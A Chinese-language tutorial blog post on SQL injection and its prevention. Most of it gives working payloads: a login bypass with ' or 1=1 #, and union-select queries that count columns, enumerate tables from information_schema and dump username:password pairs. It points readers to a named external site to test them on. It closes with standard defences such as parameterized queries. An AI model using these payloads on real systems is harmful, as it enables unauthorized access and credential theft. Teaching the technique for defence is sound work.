SQL注入的实现以及防范示例详解


Posted in MySQL onJune 02, 2021

什么是SQL注入

SQL注入是指通过构建特殊的输入篡改原来的SQL语句达到攻击者所需的操作。

Sql 注入产生原因

我们访问动态网页时往往会向服务器发送请求,服务器向数据访问层发起 Sql 查询请求,若验证通过就会执行 Sql 语句。如果用户输入的数据被构造成恶意Sql代码,如果程序没有细致地过滤用户输入的数据则会使非法数据侵入系统。

登录案例讲解

select * from admin where uname='用户名' and pwd='密码'

输入 'or 1=1 #(?空格或?+或#:注释掉后面的sql语句)

这时SQL语句变为:select * from admin where uname='' or 1=1 # and pwd='密码',这时SQL语句永远成立,绕过登录。

基于GET方式的SQL注入

通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠来探测URL中是否有注入点。

可登陆到mituan.zone进行测试

1、' '1'' LIMIT 0,1 ' :多了一个单引号

可猜测SQL语句为:select login_name,password from admin where id = 'id' limit 0,1

2、' ' LIMIT 0,1 ':多了一个单引号

可猜测SQL语句为:select login_name,password from admin where id = id limit 0,1

3、' '1'') LIMIT 0,1 ':多了一个单引号

可猜测SQL语句为:select login_name,password from admin where id = ('id') limit 0,1

4、单引号、括号都不报错说明被接收的是字符串类型' "1"") LIMIT 0,1 ':多了一个双引号

可猜测SQL语句为:select login_name,password from admin where id = ("id") limit 0,1

SQL注入利用

1、利用order by判断字段数

order by n(n为猜测字段数)--+

以案例一为例

select login_name,password from admin where id = 'id' limit 0,1
用?id=1' order by 11--+

猜测错误时则会报错

SQL注入的实现以及防范示例详解

此时探测到有3个字段,用?id=0' union select 1,2,3--+探测到Login_name在第二列,Password在第三列,则第二、三列可利用。

SQL注入的实现以及防范示例详解

?id=0' union select 1,2,3--+2,3改为user():查看当前MYSQL登录用户名,database():查看当前使用MYSQL数据库名,version():查看当前MYSQL版本,如改为?id=0'union select 1,user(),database()--+ 得到下图中信息

SQL注入的实现以及防范示例详解

2、利用union select 联合查询,获取表名。(在使用union select时要将前面的SQL语句报错)

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

SQL注入的实现以及防范示例详解

3、利用union select 联合查询,获取字段名。(以上面查询到的users表为例)

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

SQL注入的实现以及防范示例详解

4、利用union select 联合查询,获取字段值。(以上面查询到的users表为例)

union select 1,group_concat(username,0x3a,password),3 from users--+ (0x3a为冒号,用来分隔不同字段的值)

SQL注入的实现以及防范示例详解

如果是地址栏不能显示信息的POST形式则可以在对话框中输入注入语句

SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解

这里使用的方法和在地址栏中的输入一样,都是先报错前面的SQL语句再使用union select联合查询拿出表中数据

SQL 注入的防范方法

  • 对用户的输入进行过滤。如:对用户的输入进行校验,可以通过正则表达式、限制长度、对单引号和双"-"进行转换等。
  • 编写程序时不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
  • 不要直接使用管理员权限的数据库连接,每个应用使用单独的且权限有限的数据库。
  • 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
  • 程序的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。

总结

到此这篇关于SQL注入的实现以及防范的文章就介绍到这了,更多相关SQL注入实现及防范内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

MySQL 相关文章推荐
Mysql 性能监控及调优
Apr 06 MySQL
MySQL表字段时间设置默认值
May 13 MySQL
MySQL 可扩展设计的基本原则
May 14 MySQL
MySQL 重命名表的操作方法及注意事项
May 21 MySQL
mysql联合索引的使用规则
Jun 23 MySQL
MySQL非空约束(not null)案例讲解
Aug 23 MySQL
MySQL创建表操作命令分享
Mar 25 MySQL
深入理解mysql事务隔离级别和存储引擎
Apr 12 MySQL
MySQL视图概念以及相关应用
Apr 19 MySQL
MYSQL事务的隔离级别与MVCC
May 25 MySQL
MySQL表字段数量限制及行大小限制详情
Jul 23 MySQL
MySQL 原理与优化之原数据锁的应用
Aug 14 MySQL
如何自己动手写SQL执行引擎
MySQL 8.0 Online DDL快速加列的相关总结
MySQL 常见存储引擎的优劣
Jun 02 #MySQL
Mysql文件存储图文详解
一文读懂navicat for mysql基础知识
Mysql数据库索引面试题(程序员基础技能)
MySQL CHAR和VARCHAR该如何选择
May 31 #MySQL
You might like
《逃离塔科夫》——“萌新劝退,老手自嗨”的硬核FPS游戏
2020/04/03 其他游戏
dedecms模版制作使用方法
2007/04/03 PHP
thinkPHP2.1自定义标签库的导入方法详解
2016/07/20 PHP
php 替换文章中的图片路径,下载图片到本地服务器的方法
2018/02/06 PHP
js 优化次数过多的循环 考虑到性能问题
2011/03/05 Javascript
jquery随意添加移除html的实现代码
2011/06/21 Javascript
Js放到HTML文件中的哪个位置有什么区别
2013/08/21 Javascript
js自动生成的元素与页面原有元素发生堆叠的解决方法
2014/09/04 Javascript
Nodejs极简入门教程(二):定时器
2014/10/25 NodeJs
原生js和jquery实现图片轮播淡入淡出效果
2015/04/23 Javascript
JS实现两表格里数据来回转移的方法
2015/05/28 Javascript
AngularJS 2.0新特性有哪些
2016/02/18 Javascript
WEB前端开发框架Bootstrap3 VS Foundation5
2016/05/16 Javascript
JQuery解析XML数据的几个简单实例
2016/05/18 Javascript
ES6入门教程之let和const命令详解
2017/05/17 Javascript
微信小程序多列选择器range-key使用详解
2020/03/30 Javascript
React Native 集成jpush-react-native的示例代码
2017/08/16 Javascript
elementUI select组件默认选中效果实现的方法
2019/03/25 Javascript
Vue拖拽组件列表实现动态页面配置功能
2019/06/17 Javascript
解决Vue在Tomcat8下部署页面不加载的问题
2019/11/12 Javascript
JS造成内存泄漏的几种情况实例分析
2020/03/02 Javascript
Python之Web框架Django项目搭建全过程
2017/05/02 Python
tensorflow 输出权重到csv或txt的实例
2018/06/14 Python
Pandas之Dropna滤除缺失数据的实现方法
2019/06/25 Python
详解Java中一维、二维数组在内存中的结构
2021/02/11 Python
英国医生在线预约:Top Doctors
2019/10/30 全球购物
澳大利亚体育和露营装备在线/实体零售商:Find Sports
2020/06/03 全球购物
教师反腐倡廉演讲稿
2014/09/03 职场文书
关于十八大的演讲稿
2014/09/15 职场文书
群众路线四风自我剖析材料
2014/10/08 职场文书
就业意向协议书
2015/01/29 职场文书
经典爱情感言
2015/08/03 职场文书
团支部组织委员竞选稿
2015/11/21 职场文书
新店开业策划方案怎么书写?
2019/07/05 职场文书
《狼王梦》读后感:可怜天下父母心
2019/11/01 职场文书
Html5页面播放M4a音频文件
2021/03/30 HTML / CSS